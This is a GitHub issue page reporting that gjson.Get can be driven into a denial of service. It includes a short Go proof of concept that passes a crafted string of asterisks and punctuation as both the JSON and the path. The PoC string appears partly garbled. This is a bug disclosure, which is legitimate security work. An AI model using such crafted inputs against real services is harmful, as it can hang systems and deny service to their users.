Skip to content

gjson.Get can cause DoS attacks in specific input scenarios. The following POC can cause redos. #195

@toptotu

Description

@toptotu

func main() {
testJson := \**********************************************{**",**,,**,**,**,**,"",**,**,**,**,**,**,**,**,**,**]
gjson.Get(testJson, testJson)
}

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions